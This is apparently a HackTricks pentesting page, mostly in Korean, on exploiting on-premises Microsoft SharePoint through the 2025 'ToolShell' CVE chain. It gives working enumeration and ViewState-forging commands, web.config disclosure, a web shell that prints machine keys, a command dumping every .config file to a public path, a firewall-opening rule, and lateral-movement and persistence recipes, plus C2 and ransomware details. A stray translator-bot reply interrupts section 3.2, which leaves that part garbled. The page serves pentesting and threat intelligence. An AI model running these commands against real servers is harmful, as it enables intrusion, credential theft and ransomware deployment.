Microsoft SharePoint – Pentesting & Exploitation
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Microsoft SharePoint (on-premises)은 ASP.NET/IIS 위에 구축되어 있습니다. 따라서 대부분의 고전적인 웹 공격 표면(ViewState, Web.Config, web shells 등)은 존재하지만, SharePoint는 수백 개의 독점 ASPX 페이지와 웹 서비스도 포함하여 노출된 공격 표면을 크게 확장합니다. 이 페이지는 SharePoint 환경 내부에서 enumerate, exploit 및 persist하기 위한 실용적인 기법들을 모아두었으며, Unit42가 공개한 2025 exploit chain (CVE-2025-49704/49706/53770/53771)을 중점적으로 다룹니다.
1. 빠른 열거
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 익스플로잇 체인 (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> 은 페이지에 임의의 Server-Side Include 코드를 주입할 수 있게 하며, 이 코드는 이후 ASP.NET에 의해 컴파일됩니다. 공격자는 Process.Start()를 실행하는 C#을 임베드하고 악성 ViewState를 전송할 수 있습니다.
2.2 CVE-2025-49706 – Improper Authentication Bypass
같은 페이지는 사이트 컨텍스트를 결정하기 위해 X-Forms_BaseUrl 헤더를 신뢰합니다. 이를 /_layouts/15/로 지정하면 루트 사이트에서 적용되는 MFA/SSO를 unauthenticated 상태로 우회할 수 있습니다.
2.3 CVE-2025-53770 – 인증되지 않은 ViewState Deserialization → RCE
공격자가 ToolPane.aspx 내의 gadget을 제어하면 unsigned (또는 MAC-only) __VIEWSTATE 값을 전송하여 w3wp.exe 내부에서 .NET deserialization을 유발하고 코드 실행으로 이어질 수 있습니다.
서명이 활성화된 경우, 어떤 web.config에서든 ValidationKey/DecryptionKey를 탈취(2.4 참조)하고 ysoserial.net 또는 ysodom으로 페이로드를 위조합니다:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
For an in-depth explanation on abusing ASP.NET ViewState read:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure
정교하게 만든 Source 파라미터를 ToolPane.aspx에 전송하면(e.g. ../../../../web.config) 대상 파일이 반환되어 다음 항목의 leakage를 허용한다:
<machineKey validationKey="…" decryptionKey="…">➜ forge ViewState / ASPXAUTH cookies- connection strings & secrets.
2.5 ToolShell workflow observed in Ink Dragon intrusions
Check Point는 Ink Dragon이 Microsoft가 패치를 배포하기 수개월 전에 ToolShell 체인을 어떻게 운영했는지 맵핑했다:
- Header spoofing for auth bypass – 공격자는
/_layouts/15/ToolPane.aspx로 POST를 전송하면서Referer: https://<victim>/_layouts/15/와 위조된X-Forms_BaseUrl를 함께 보낸다. 해당 헤더들은 SharePoint에게 요청이 신뢰된 layout에서 왔다고 판단하게 하며 front-door 인증을 완전히 우회시킨다 (CVE-2025-49706/CVE-2025-53771). - Serialized gadget in the same request – 요청 본문에는 공격자가 제어하는 ViewState/ToolPart 데이터가 포함되어 취약한 서버측 formatter에 도달한다 (CVE-2025-49704/CVE-2025-53770). 페이로드는 보통 ysoserial.net 체인으로,
w3wp.exe내부에서 디스크에 쓰지 않고 실행된다. - Internet-scale scanning – 2025년 7월의 텔레메트리는 그들이 접근 가능한 모든
/_layouts/15/ToolPane.aspx엔드포인트를 열거하고 leaked<machineKey>쌍의 사전을 재생하고 있음을 보여준다. 문서에서 샘플validationKey를 복사해 사용한 사이트는 다른 부분이 완전히 패치되어 있더라도 탈취될 수 있다 (서명 워크플로우는 ViewState 페이지 참조). - Immediate staging – 성공적인 익스플로잇은 로더나 PowerShell stager를 떨어뜨리며, 이는 (1) 모든
web.config를 덤프하고, (2) 비상 접근용 ASPX webshell을 심고, (3) IIS 워커에서 탈출하기 위한 로컬 Potato privesc를 예약한다.
3. Post-exploitation recipes observed in the wild
3.1 Exfiltrate every .config file (variation-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
결과물인 debug_dev.js는 익명으로 다운로드할 수 있으며 모든 민감한 설정을 포함하고 있습니다.
3.2 Base64-encoded ASPX web shell (variation-2) 배포
powershell.exe -EncodedCommand <base64>
디코딩된 페이로드 예시 (축약됨):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
I don’t see the file content to translate. Please paste the markdown/text from src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md (or specify the sections to translate), and I’ll translate it to Korean while preserving all tags, links, code and paths exactly.
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
The shell exposes endpoints to read / rotate machine keys which allows forging ViewState and ASPXAUTH cookies across the farm.
3.3 난독화 변형 (variation-3)
동일한 셸이지만:
- 다음 경로에 배치됨:
...\15\TEMPLATE\LAYOUTS\ - 변수 이름을 한 글자로 축소
- 샌드박스 회피 및 타이밍 기반 AV 우회를 위해
Thread.Sleep(<ms>)추가됨.
3.4 AK47C2 다중 프로토콜 백도어 & X2ANYLOCK ransomware (관찰된 시기 2025-2026)
최근 인시던트 대응 조사(Unit42 “Project AK47”)는 공격자들이 초기 RCE 이후 ToolShell 체인을 활용해 SharePoint 환경에 dual-channel C2 임플란트와 ransomware를 배포하는 방법을 보여준다:
AK47C2 – dnsclient 변형
- 하드코딩된 DNS 서버:
10.7.66.10— 권한 도메인update.updatemicfosoft.com와 통신. - 메시지는 JSON 객체이며 static key
VHBD@H로 XOR 암호화되고, hex 인코딩되어 sub-domain labels로 임베드됨.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- 긴 쿼리는 분할되어
s로 접두사 처리되며 서버 측에서 재조립됨. - 서버는 동일한 XOR/hex 스킴을 사용하는 TXT 레코드로 응답:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- 버전 202504은 간소화된 형식
<COMMAND>::<SESSION_KEY>와 청크 마커1,2,a를 도입함.
AK47C2 – httpclient 변형
- 동일한 JSON & XOR 루틴을 재사용하지만 hex blob을
libcurl의 HTTP POST body(예:CURLOPT_POSTFIELDS)로 전송함. - 동일한 작업/결과 워크플로로 다음을 허용:
- 임의의 셸 명령 실행.
- 동적 sleep 간격 및 kill-switch 지시.
X2ANYLOCK ransomware
- 64-bit C++ 페이로드가 DLL side-loading을 통해 로드됨(아래 참조).
- 파일 데이터에 AES-CBC를 사용하고 AES 키를 랩핑하는 데 RSA-2048을 사용한 뒤 확장자
.x2anylock를 추가함. - 로컬 드라이브와 발견된 SMB 공유를 재귀적으로 암호화; 시스템 경로는 건너뜀.
- 협상용 static Tox ID를 포함한 평문 노트
How to decrypt my data.txt를 남김. - 내부 kill-switch 포함:
if (file_mod_time >= "2026-06-06") exit(0);
DLL side-loading chain
- 공격자는 합법적인
7z.exe옆에dllhijacked.dll/My7zdllhijacked.dll를 생성. - SharePoint가 생성한
w3wp.exe가7z.exe를 실행하고, Windows 검색 순서 때문에 악성 DLL이 로드되어 메모리에서 ransomware 엔트리포인트를 호출함. - 별도의 LockBit 로더(
bbb.msi➜clink_x86.exe➜clink_dll_x86.dll)가 쉘코드를 복호화하고 LockBit 3.0을 실행하기 위해d3dl1.dll에 DLL hollowing을 수행함.
[!INFO] X2ANYLOCK에서 발견된 동일한 static Tox ID가 leaked LockBit databases에서도 나타나며, 제휴자(affiliate) 겹침을 시사함.
3.5 SharePoint loot를 이용한 lateral movement
- Decrypt every protected section – 웹 티어에 자리 잡으면
aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri(또는-px "appSettings")를 악용해<connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">뒤에 숨은 평문 비밀을 덤프하라. Ink Dragon은 이 방법으로 SQL 로그인, SMTP 릴레이 및 맞춤 서비스 자격 증명을 반복적으로 수집했다. - Recycle app-pool accounts across farms – 많은 기업들이 모든 프론트엔드에서
IIS APPPOOL\SharePoint에 같은 도메인 계정을 재사용한다.identity impersonate="..."블록을 복호화하거나ApplicationHost.config를 읽은 후 해당 자격증명을 SMB/RDP/WinRM을 통해 다른 서버에 대해 테스트하라. 여러 사례에서 해당 계정이 로컬 관리자이기도 했으며, 이는psexec,sc create또는 스케줄러 태스크를 통한 스테이징을 비밀번호 스프레이 없이 가능하게 했다. - Abuse leaked
<machineKey>values internally – 인터넷 경계가 패치되어도 동일한validationKey/decryptionKey를 재사용하면 서로 신뢰하는 내부 SharePoint 존 간에 lateral ViewState exploitation이 가능하다.
3.6 2025 침해에서 관찰된 지속성 패턴
- Scheduled tasks –
SYSCHECK같은(혹은 기타 상태 관련 이름) 일회성 태스크를/ru SYSTEM /sc once /st <hh:mm>로 생성해 다음 단계 로더(대개 이름이 바뀐conhost.exe)를 부트스트랩한다. 일회 실행이기 때문에 히스토리 태스크 XML이 보존되지 않으면 텔레메트리가 놓치기 쉽다. - Masqueraded services –
WindowsTempUpdate,WaaSMaintainer,MicrosoftTelemetryHost같은 서비스를sc create로 sideloading triad 디렉터리를 가리키도록 설치한다. 이 실행파일들은 원래의 AMD/Realtek/NVIDIA 서명을 유지하지만 Windows 구성 요소에 맞춰 이름이 바뀌어 있다; 디스크 상의 파일명과 PE의OriginalFileName필드를 비교하면 빠른 무결성 검사로 활용할 수 있다.
3.7 릴레이 트래픽을 위한 호스트 방화벽 다운그레이드
Ink Dragon은 정기적으로 Defender 유지관리로 위장한 허용형 아웃바운드 규칙을 추가하여 ShadowPad/FinalDraft 트래픽이 어떤 포트로든 외부로 나갈 수 있게 한다:
netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any
이 규칙은 로컬에서 생성되었고 (GPO가 아니라) 정식 Defender 바이너리를 program=으로 사용하기 때문에 대부분의 SOC 기준은 이를 무시하지만, 그럼에도 Any ➜ Any 아웃바운드 통신을 허용합니다.
관련 트릭
- IIS post-exploitation & web.config abuse:
IIS - Internet Information Services
참조
- Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities
- GitHub PoC – ToolShell exploit chain
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity
- Microsoft Security Advisory – CVE-2025-53770 / 53771
- Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

